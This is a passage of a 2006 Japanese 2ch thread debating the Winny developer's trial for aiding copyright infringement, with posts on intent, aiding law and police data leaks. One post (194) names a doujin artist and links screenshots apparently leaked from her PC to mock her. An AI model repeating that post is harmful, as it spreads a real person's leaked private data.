      /    /         ___/
      /      |
     / _/ |  _____/
          _|
                ∩∩ またまた 新 し い 仲 間 が 増えました
                (7ヌ)                                     ∩
               / /       ウィニーつこうた                    (ヽ)
  ∧_∧つこうた    / /∧_∧    ∧_∧   ∧_∧  ∧ ∧   ∧ ∧   ∧ ∧ /
 ( ´∀`) ∧_∧ ∧ ∧(´∀` )∧. .∧(´∀`∧ ∧(´∀∧ .∧(´∀`∧ ∧(´∀`∧∧(´∀`)∧ ∧
m9.   ⌒(´∀` )( ´∀`)"  ⌒(´∀` )   (´∀` )~ (´∀`)⌒  (´∀`)   (´∀`∧ .∧(∀` )
 ヽ   _/~    Y    |   /⌒   /  /⌒   ⌒Y⌒  ⌒ /⌒  ⌒ヽ /~   (´∀` )  ⌒ヽ
| ̄ ̄ ̄∪ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄∪ ̄ ̄ ̄ ̄∪ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄∪ ̄ ̄ ̄ ̄ ̄ ̄∪ ̄ ̄∪ ̄ ξ_ノ
|京都・大阪府警 自民篠原実  陸海空自衛官 村上誠一郎衆院 リバ原  トレンドマイクロ YAHOO  |
|ANA機長 JAL副操縦士 湯沢市刺激 三菱重工 岸和田〒 姫路南〒 鹿島農協 京都刑務所
|検察官 東京地裁 TBSからくり NHK フジTV 鳥取大医附属病院 香川大医学部 松山工業高
|大津教諭 JR西日本 近鉄社員 原発職員 野村IR NTTドコモ東海 NTT東西 JASDAQ NEC
|富士通 理研職員 アフラック 住友生命 三井住友生命 九州・関西・中部電力 福井葬祭場 住金
|萬屋ワイン ジャグリング協会 シリコンドール屋 モスバーガー 斜里町役場 石川県庁 創価学会各支部
|日立グループ各社 神奈川・栃木・北海道・広島・愛媛・岡山県警 アルプス技研 CSKシステムズ 以下略


こいつらが逮捕されないのに、一体なんの幇助だ?
合法ソフトじゃねーか。
129 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:14:36 ID:KTg2AYkL0
>>106
個人撮影した動画はその撮影者に権利があるのでは?
130 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:14:38 ID:8XjOUsE/0
捜査資料を持ち帰ったあげくに拡散させたバカはどうなったの?
131 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:15:10 ID:Xr1I6krK0
>>123
開発者を有罪にするなら違法行為にあたるものを積極的に
取り上げた雑誌も有罪にせにゃならん。

結果を理由に元を処罰するというのはナンセンスだよ。
道義的な話はともかく有罪にはできんでしょ。
132 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:15:15 ID:QC3j5myr0
>>116
それで違法性を問えるか?
偽装分割ソフトなんてのも危なくなるじゃないか。
133 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:15:45 ID:7xmilmNF0
>>127
nyそのものは違法じゃないんだぜ?
違法だったら情報漏洩した公務員や警察はみな犯罪者
134 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:16:09 ID:pCTxMY6M0
>>119
拳銃を密造して、それが犯罪に使われたら
使ったやつも作ったやつも犯罪者だよな?

しかしなぜ使ったやつは犯罪じゃなくて、作ったやつが犯罪なんだ?
135 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:16:10 ID:uScmWxiJ0
4:16!!
136 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:16:43 ID:Gie8nosz0
もうバイダ揃ってP2P規制開始しようって状況ではどうでもいい話ではある
137 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:16:54 ID:NKJTCFVw0
通信全部禁止にするから、軍事衛星も全部没収して。
データコピーできる概念作った奴からPC持ってる奴まで世界各国で逮捕、
会社も役所も学校も軍も全部PC没収。
日本の警察が全世界を統治する。

そして世界は平和になった。
138 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:16:55 ID:ZrHACn4j0
お前ら、「著作権の侵害行為の意図」じゃないぞ。

「著作権の侵害行為を手助けする意図」だ。ほう助の罪だからな。

ウィニーを開発して、著作権侵害行為をしやすくしよう。
ウィニーを開発して、著作権侵害行為がしやすくなるだろうけど、構わないだろう。
そう認識してたかどうか。
139 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:17:13 ID:Ui/fL/9K0
幇助って事は正犯がいるってことだろ。
で、その正犯は誰だよwww
140 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:17:18 ID:aTtXQHTn0
>>134
渡した奴が、犯罪者なんだよ。
作ると違法もあるが、幇助はそういうものだ。
141 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:17:20 ID:/i5swM4u0
包丁メーカーが訴えられる日も近いな
142 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:17:21 ID:SUqHNJg20
有罪になってくれたほうが間違いなく祭りが大きくなるので有罪キボンヌ
143 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:17:46 ID:F7Cwm+QL0
>>136
一度は総務省が待ったをかけたっていうのに
P2P利用者が相変わらずだから擁護できなくなりつつある
144 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:17:50 ID:XPRubpyf0
>>126
極論だけど有得るんじゃない
裁判官が心証を得るか得ないかの話だから
145 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:17:52 ID:KTg2AYkL0
>>126
「あるわけない」んだったら、それでいいのでは?
このまま裁判の結果を見守れば。

有罪になったのなら、何か意図はあったと判断にするに足る証拠があった、ということでしょう。
無罪になったのなら、それがなかったということだし。


で、俺は47氏のもとされる発現などを見るに、また彼が置かれていた立場、みたであろうものなどを考えると
著作権侵害行為を助長する意図がなかったとは考えにくい、と思う。
146 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:18:15 ID:E1hGi+1c0
>>126
意図はあっただろうな。
なぜなら金子はダウンロード専用のWinnyを使って
著作権侵害をしていたからな。
147 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:18:31 ID:zaFWFRu20
連中に言わせるとインターネットそのものが著作権違反なんだろな...
148 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:18:41 ID:jdYOLPfS0
>>132
彼を罪に問うべきであるかどうかの話はしてないよ
ただ、当時の発言見てもMXの後継ソフトとしてどういう使い方をされるかなんて47は確実にわかってたでしょw

個人的には、こんなことでソフト開発者の首根っこをつかむような判決は出して欲しくないと思ってるけどね
149 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:18:46 ID:QC3j5myr0
ありえないよ、これで有罪はありえない。
京都府警の勇み足としか思えない。
>>138
>ウィニーを開発して、著作権侵害行為がしやすくなるだろうけど、構わないだろう。

これを言い出すと多段串ソフトもアウトだな。
分割・結合・偽装ソフトの作者みーんなタイホー
150 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:19:06 ID:6cirXFsl0
ウイニーは作者がわかってるけど
作者不明のファイル交換ソフトが流通したら
国はどうすんだろね
151 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:19:31 ID:sWNrFib60
共有フォルダの拡張版で有罪???
152 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:20:27 ID:KTg2AYkL0
>>139
ちょっと裁判のソースが見つからなかったんだが、
Winnyの「ユーザー」で逮捕された人いたよね?
153 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:20:29 ID:SfpIYz7D0
これが有罪ならWindowsOSを開発したビルゲイツも有害
154 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:20:30 ID:84GpV38O0
>149
それで幇助なら尚のことネトランやテレビニュースも逮捕しないとな。
報道すれば手を出す人がいるのは簡単に予想がつくんだし。
155 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:20:35 ID:qi69hTc90
>>139
おまえらむきのP2Pソフトとあるから、
2chのダウンロード板の連中。
156 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:20:36 ID:a2F2DHhr0
一番悪いのはキンタマにひっかかった奴だろ。
157 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:20:45 ID:y6rRTm2l0
有罪判決で、裁判長のPCから裁判の資料が流出するというオチ希望
158 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:20:53 ID:ICYSCPuT0
起訴されたらほぼ有罪それが日本の常識
159 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:21:05 ID:lqZNym+I0
散々宣伝したカス雑誌も有罪なら
有罪でいいんじゃないかねぇ
160 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:21:05 ID:F7Cwm+QL0
47氏の頃から彼を擁護するつもりなら
利用者がもうちょっと知恵を出すべきだったんだろうが
いかんせん利用者に馬鹿が多すぎて
事態の収集がつかない状態になっちまったっていうのが大分あると思う
161 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:21:16 ID:OVRaEo/WO
>>139
当然実際にウィニー使ってファイルを取得した奴。
162 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:21:27 ID:ZlQQLSWq0
死刑でいいよ( ´,_ゝ`)プッ
163 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:21:28 ID:RjRZ0A510
まだ地裁か
164 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:21:34 ID:SUqHNJg20
別に作者を有罪にしたって、ソフトを使っている方には何の抑止力にもならん訳だが。
165 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:21:34 ID:zkEbRNvb0
>>138
そもそも、Winnyを著作権に絡める時点で間違ってるよ
流れがそうなったに過ぎないものとしか見れない1例だよ
これはネット全般的に言えることでネットという世界そのものだって
今の環境で色んな問題があるけれど、それらが網羅されて出来たものではないはず
こんなWinny1つに責任転嫁するのが正しいならネットそのものが叩かれるべきこと
だと思う(´・ω・`)
166 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:21:49 ID:U4w7QY2QO
>>156
関係無い
167 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:21:57 ID:Uyleck100
>>152
第一放流者だな
キャッシュ保持のみで逮捕された奴はいない
168 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:22:04 ID:jQSOJJyf0
>>146
ですよね!ダウンロードは著作権法違反ですもんね!金子は悪い香具師ですね!
169 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:22:19 ID:uhpuHDZA0
>>113

お前はこの問題の争点が全くわかってない。
匿名で不特定多数に情報やファイル等を公開するのがだめなら
インターネットそのものがダメってことになるんだが・・・。

P2Pっていうのはサーバに負担をかけることなく、
電子データを公開するための一手段に過ぎないので
ツールを作っただけで幇助になるならインターネットそのものが
犯罪するためのものになってしまうのだが・・・・・。
170 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:22:22 ID:G+PeekI00
>>157
しかも円光はめ鳥画像詰め合わせセットだったら神
171 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:22:27 ID:pCTxMY6M0
>>145
>著作権侵害行為を助長する意図がなかったとは考えにくい、と思う。
どう思おうが勝手だけど、それじゃ有罪にはならんだろう?

有罪の根拠が、「著作権侵害行為を助長する意図がなかったとは考えにくい」
まずありえん
172 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:22:36 ID:zM2r0S0/0
疑わしきは罰せず。よって金子無罪。
173 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:22:39 ID:ZwZ3Npq70
日本はつまらない面子と利権に凝り固まってるな。
アメリカなならさっさと司法取引でもなんでもして政府お抱えで雇うだろ。

大事なのはnyを作った奴を裁くことじゃなく、
これからのファイル交換をどうするかだろうに。
結局有罪だろうが無罪だろうが、使用者は関係なく著作権ものを流通させるんだろ。
174 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:22:50 ID:S6R6jpVY0
結局Winnyが合法ソフトなのは京都府警も認めるところで
幇助の要件を満たすには47氏が正犯2人と面識があり
著作権侵害をさせた証拠がなければいけない。
もちろん面識などないんだから証拠も無い。
腹いせに逮捕するなっての。
175 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:22:53 ID:DC7iE3V50
>>113
いいか?中継のキャッシュを持つノードが増える事で
アップロードするパソコンを24時間立ち上げていなくても良くなるんだよ。
夢のような話だ。
176 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:23:03 ID:mPzg6N5w0 BE:217066548-2BP(2327)
>違法コピーをまん延させるなど著作権の侵害行為を手助けする意図

こんなの、どうやって立証するの?
添付のドキュメントには著作権侵害しないでくれという保険かけてるし
177 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:23:21 ID:tb6eU3V40
交通事故起こすかも知れにから車を作るな
人殺しに使われるかもしれないから包丁を作るな
って話になるな
178 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:23:42 ID:Yn25HaJh0
著作権侵害の幇助→インターネット
179 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:24:44 ID:F7Cwm+QL0
ところで当の47自身は今のwinnyの利用状態は健全だとでも考えているんだろうか?
裁判でなんか所感述べてたっけ?
180 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:25:13 ID:DC7iE3V50
>>173
これからの著作権のあり方も検討しないとな
作者が死んでもいつまでたっても切れない著作権とかのw
181 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:25:39 ID:KTg2AYkL0
>>167
やっぱあったよね、それ。
それが「正犯」ということにはならないの?

>>171
それは「俺はそう思う」という話。俺は裁判官じゃありません。
「俺は」以外の部分はそのレスの前段に書いてあります。

>>174
幇助が成り立つためには正犯と面識がなければならないの?
182 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:25:43 ID:SUqHNJg20
まあコレが有罪なら、現金に引き換えるしかない景品を出しているパチ屋も片っ端から
賭博の片面幇助で告発できそうだぞ。
183 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:25:44 ID:8XjOUsE/0
無罪→京都府警赤っ恥
有罪→京都府警ほか、>>128で挙げられた香具師らの大量逮捕
184 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:26:10 ID:aTtXQHTn0
>>169
違法ファイルは駄目だよ。
メールだろうがメッセだろうが、知り合い以外は駄目だよ。
不特定多数に送信できる状態が、容易に実現できるツールが、違法だって言ってるわけだよ。
185 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:26:14 ID:QC3j5myr0
>>177
それは言いすぎだが

日本の制限速度は時速100`までなのに
何故時速160`とか出る車が作られ販売されているのだろう

という話になる。
これが有罪なら、車メーカーは「スピード違反を幇助した罪」に問えるのではないか?
186 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:26:36 ID:84GpV38O0
いやだからインターネット自体が云々は気をつけて言ってくれよ。
政治家とか馬鹿だからダウンロード禁止とか言い出してるんだぜ?
規制はいずれするだろうが、禁止もやりかねんよ。笑えない。
187 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:26:43 ID:zM2r0S0/0
>>182
そこは突っ込めない。やったら確実に消されますからw
188 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:27:19 ID:pCTxMY6M0
>>164
抑止力もなにも、そこがそもそもおかしい。

作って犯罪、使って犯罪 ←これはわかる(密銃など)
作って無罪、使って犯罪 ←これもわかる(包丁など)
作って犯罪、使って無罪 ←これはわからない
189 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:27:32 ID:DC7iE3V50
>>179
健全な利用者による利用は健全、そうでない利用者による利用は不健全
屁理屈なようでこれが正論であり結論
190 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:27:33 ID:Yn25HaJh0
>>186
中国か!
191 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:27:35 ID:S6R6jpVY0
>>181
当たり前だろが。
192 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:28:17 ID:NKJTCFVw0
んー、判決出てから、結果に突っ込み入れればいいんじゃね?
議論に対する議論しても結果出ないんじゃないかなぁ。


逮捕された頃に見たような・・・でじゃぶ?
193 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:28:40 ID:F7Cwm+QL0
>>189
弁護側って、そんな発言してたっけ?
後で見返してみるわ
194 名前:土山にう[] 投稿日:2006/12/10(日) 04:29:59 ID:ysu6802J0
(n`睾´y)ぅ <ところで俺のキンタマを見てくれ

adobe製品のクラック方法を調べている・3月8日
http://aa4a.com/goldball/k1.jpg
調べたクラック方法を試そうとしている・3月8日
http://aa4a.com/goldball/k2.jpg
ニュース速報板を見ている・3月9日
http://aa4a.com/goldball/k3.jpg
同人関係やアンソロ作家等のスレを見ている・3月9日
http://aa4a.com/goldball/k4.jpg
ふたば二次元裏を見ている・3月10日
http://aa4a.com/goldball/k5.jpg
家計簿をつけている(モザイク処理)・3月11日
http://aa4a.com/goldball/k6.jpg
リンク集を検索している・3月12日
http://aa4a.com/goldball/k7.jpg
ふたば二次元裏を見ている・3月12日
http://aa4a.com/goldball/k8.jpg
Ataraxia内のCGの描き方説明を見ている・3月13日
http://aa4a.com/goldball/k9.jpg
ふたば二次元裏を見ている・3月14日
http://aa4a.com/goldball/k10.jpg
裏でCGを描きつつ日記サイトを開いている・3月14日
http://aa4a.com/goldball/k11.jpg

土山にう個人サークル「AtaraxiA」
http://www2u.biglobe.ne.jp/~ataraxia/
【Р2Р愛用家】士Шにヴ アタラクシア 風林過残35陣目【7ォトショクラック】
http://comic6.2ch.net/test/read.cgi/doujin/1162128059/l50
195 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:30:01 ID:ICYSCPuT0
裁判官の匙加減ひとつで有罪
196 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:30:05 ID:RV+uR2pS0
ウィニーってさぁ みんなで違法すれば怖くないみたいな感じだよなぁ

ウィニーを入れて活用してる時点で、犯罪者でOKなんじゃね〜の
197 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:30:33 ID:Xr1I6krK0
>>186
今政府が考えている著作権法改正論議で普通に出ていますけど。
形的には違法ファイルのダウンロード禁止だけど
今のインターネットのシステムだと事実上システムそのものの否定まで
簡単に拡大解釈できる内容。
198 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:30:37 ID:6cirXFsl0
クルマは勝手に作って公道走らせたら違法だったとおもう
199 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:30:39 ID:zkEbRNvb0
>>186
それ面白いよ
それを唱える政治家はバカなんだから
そんなバカは政界から降りてもらわないとね
ネットは下手に問題視すると色んな分野の金の流れが滞るから
経済大混乱するのはバカでも分かることだから
それさえわからない様な政治家は抹消されるべきなんだよ
200 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:31:10 ID:OVRaEo/WO
>>181
また包丁のたとえだけど、一杯売って誰に売ったかトレースできません。
でも誰かが犯罪に使いました。
こんなんじゃ売った奴を罪に問えないよね?
だから有罪にするなら誰が、どういうつもりで、どういう行為をするか等のかなり具体的な認識はいるよって話。
201 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:31:30 ID:NWPDzpr40
幇助で捜索してうp状態のny押収して正犯に切り替えて有罪にしちゃおうって計画だったとかじゃないっけ
金庫のはうp0仕様のnyだったから幇助のままんなっちゃいましたと
202 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:31:57 ID:SUqHNJg20
そろそろ国産のフル暗号化されたP2Pを作ったほうがいいんでないの?
freenetはパフォーマンス悪すぎ。
203 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:31:57 ID:DC7iE3V50
>>193
早とちりスンナよ・・・俺個人の理屈だってのw
204 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:32:00 ID:8XjOUsE/0
>>195
裁判官がwinnyユーザだったら無罪。
でも、キンタマに感染したことがあったら有罪。
205 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:32:21 ID:KTg2AYkL0
>>191
何についてのレス?

「正犯と面識がなければ幇助は成り立たない」について?
206 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:32:39 ID:QC3j5myr0
もしこれが有罪になったら、与太とか本田とかを「スピード違反幇助」で誰か訴えてくれないかなぁ。
207 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:33:47 ID:Xr1I6krK0
>>206
もう少し近い関係だと大手ISPやNTTを訴えるってこともできそうだね。
208 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:33:50 ID:pCTxMY6M0
>>196
>ウィニーを入れて活用してる時点で、犯罪者でOKなんじゃね〜の

そうだよ。それなら話の筋が通る。
警官も自衛官も全て逮捕だったら話は早かった。

しかしそいつらはお咎め無しで、作ったやつだけ悪いだからおかしい。
209 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:33:57 ID:84GpV38O0
>199
抹消されればいいんだけど。成立しそうなところが怖いんだよ。
恣意的に個人使用だけ規制とかするかも知れんし。
プロバイダを許可制にすれば簡単に実現できる。
210 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:35:03 ID:QC3j5myr0
>>208
京都府警自身の署員がny使ってりゃ世話無いよなw
211 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:35:04 ID:aTtXQHTn0
拳銃所持違法だけどね。日本は。
212 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:35:56 ID:1+go1j5c0
とりあえずおまいら「自作ポエム」流せ!

nyで検索しても一件も引っかからんw
213 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:35:57 ID:F7Cwm+QL0
>>203
なんだ便所の落書きかw
結論なんて大層なこと書いてあるから
よほど自信があるのかとおもったw
214 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:36:13 ID:KTg2AYkL0
>>200
相手と面識はなくても、「著作権侵害の意図」があれば幇助になる、ということなのでは?

例えば日本刀のような包丁作ってそれを「ご自由にお使いください」と
血気盛んなヤクザ(面識無し)が通りかかるであろうところに放置しても無罪なのか?
ということなのでは。

どのような意図で行動したかという問題なんじゃないの?
先ほどから「インターネット自体が(ry」とか「ビルゲイツも(ry」とか言ってる人がいるが
それらに関わる人が何か明確に「犯罪行為、もしくはその手助け」の意思をもっているかということなのでは?
215 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:36:29 ID:uhpuHDZA0
>>184

違法ファイルが駄目なのは当たり前。
おれも著作権侵害には反対だよ。

47氏は『幇助』で立件されてるんだよな?
俺は先に述べた理由により『幇助』は成り立たない
と言ってるだけなんだが?

理解できたかな?
216 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:37:21 ID:8XjOUsE/0
>>206
ついでにJTを薬事法違反で。
その麻薬以上の毒物に課税している国税庁もな。
217 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:38:00 ID:E/5mvXIm0
「俺らが暴露ウイルスにかかったのはこんな便利なソフトを作った金子氏のせいだ!」
で有罪にするの?w
218 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:38:18 ID:x/T+wjQr0
>>214
幇助は正犯と面識なくても逮捕できるよ
219 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:38:44 ID:pCTxMY6M0
なんかスレが 「著作権侵害の意図があったことは証明された」 を
前提にすすんでる気がする。

「著作権侵害の意図の証明」は実際どうなんだ?
220 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:39:12 ID:RV+uR2pS0
>>208
何〜 それはおかしいなぁ 

ふ〜む じゃああれだな 作った奴が一般使用者をだまして共犯に仕立て上げたって事にするんだろうか?
221 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:39:20 ID:6cirXFsl0
政治家だったら与謝野馨のコメントを聞きたい。
自作パソコンの雑誌に登場してたのが意外だった。
もう30台くらい作ったそうです。
ダブルクリックすら知らないのにセキュリティ問題を論じている、
と揶揄された某議員よりかはまともなコメントを言ってくれるだろう。
222 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:39:31 ID:wppSiJlx0
身内をかくまって、製作者を逮捕しようって流れが駄目すぎる。
223 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:39:50 ID:QC3j5myr0
護身具販売業者、というか、武具販売業者も全員タイホー
スタンガン・催涙スプレー・特殊警棒・木刀は犯罪の実績たっぷり。
傷害幇助でタイホー
224 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:39:58 ID:F7Cwm+QL0
47氏の本音が聞ければ一番はやいんだけどな
後で本にして売れれば結構いけるんじゃないか?
225 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:40:05 ID:SUqHNJg20
そういやnyの経路は全て解析できたって豪語してる割には全然摘発される奴が出てこないな。
226 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:40:31 ID:X/4HZJO+0
どちらの判決が出ようと、最高裁まで行ってほしい
227 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:40:56 ID:DC7iE3V50
試しに利用者全員しょっ引いたらどういう内訳になるだろうな
やっぱ公務員とか比率高そうだがw
228 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:41:27 ID:S6R6jpVY0
>214
>相手と面識はなくても、「著作権侵害の意図」があれば幇助になる、ということなのでは?

こんなの認めたら大変だよ。共謀罪より性質が悪い。
ところで日本ではソフトウエアを罰する法律は無い。
Winnyは合法ソフト。では一体合法なソフトを作るのが何の罪になるんだ。
229 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:41:28 ID:bXcQucS+0
>>152
仮に逮捕された「1人2人」の後に「大量に」逮捕が見送られた場合、判例ではどうなるのかな。
230 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:41:56 ID:yzYnHFKR0
>違法コピーを容易にした

ウィニーは違法コピーする機能を持ちません。
故に、違法コピーを容易にした事実はありません。

違法コピーに対しては、コピーガード機能(CCCD等)で対処することが一般的であり、
ウィニーにそのような機能を求めることは相当ではない。
231 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:42:01 ID:8XjOUsE/0
>>222
警察ではそれがデフォルトだよ。
232 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:42:32 ID:RjRZ0A510
おまいらよもやなぜ金子勇が47と呼ばれてるか忘れてるわけではあるまいよ。
ひらたくいえばダウン板の存在意義と開発糸が同一視されてるわけだ。
233 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:44:04 ID:SUqHNJg20
国家権力の側がナメた真似をしてくれるんならこっちも何やっても構わねーよ、っていう
風潮になるのが一番怖いけどな。
234 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:44:16 ID:QC3j5myr0
どちらの判決が出ても祭り状態になるのは必至
235 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:44:21 ID:MNcxopNZ0

 ネットは社会インフラとして定着。日常生活にかかせない存在に。

 P2Pのみをネットで禁止することができない。故になくならない。
236 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:44:54 ID:pCTxMY6M0
>>225
「nyの経路は全て解析できたって豪語してる」時点でブラフだろ?
そんなことが本当にできるなら、絶対言わない。

なにも前置き無しに次々に逮捕していった方がよほど抑止につながる。
237 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:45:17 ID:y6rRTm2l0
著作権侵害の意図なんてどうやって証明するんだろう
238 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:45:32 ID:bXcQucS+0
>>234
そりゃそうだ。
そもそも違反した使用者が次々逮捕されていかない限り、意味を持たない裁判だからな。
239 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:45:54 ID:KTg2AYkL0
>>215
Winnyユーザーで逮捕された人がいるけど、それじゃダメなの?

>>218
>>228
どっちが正しいんだ・・・?
240 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:46:01 ID:aTtXQHTn0
>>237
だからそれが掲示板のカキコじゃなかったか。
241 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:46:27 ID:F7Cwm+QL0
>>239
面識は必須じゃない
242 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:46:43 ID:ygA79pPQ0
どっちに転ぶかで
アジア寄りに傾くか欧米寄りに傾くか
日本の著作権のあり方が180度変わる
面白い判決ではある
243 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:46:44 ID:rhSpaNQn0
これじゃ、アプロダの管理人は全員同罪で
逮捕出来るんじゃないか?
244 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:47:40 ID:GsVO2Cz50
>>240
そのログがもう無いらしい
245 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:47:56 ID:Xr1I6krK0
>>240
でもその証拠になる2chのダウソ板のログは存在しないとか言う話だろ。
本人の自白調書以外に物証がないとなると少々厳しいかもしれんねえ。
246 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:48:00 ID:pCTxMY6M0
>>240
そのカキコは証拠採用されてるのか?

結局誰が書いたかわからないままじゃねーの?
247 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:48:52 ID:+f9oy1sn0
ところで、うpローダーの管理者は逮捕されないの?
248 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:49:04 ID:SUqHNJg20
物証も自供も共犯者の証言もなしに、捜査員の「こいつはこう思ってるに違いない」っていう
確証だけで有罪にできるかどうかっていう非常に面白い判例ができるんだな。
249 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:49:22 ID:ICYSCPuT0
検事が「侵害の意図があったに違いない」と強弁し
判事が「やっぱりそうだよね」思えば有罪
250 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:49:24 ID:xdYmitAR0
有罪

判決 nyに白血病解析の機能つけさせる

これでいいだろ
PC有効利用
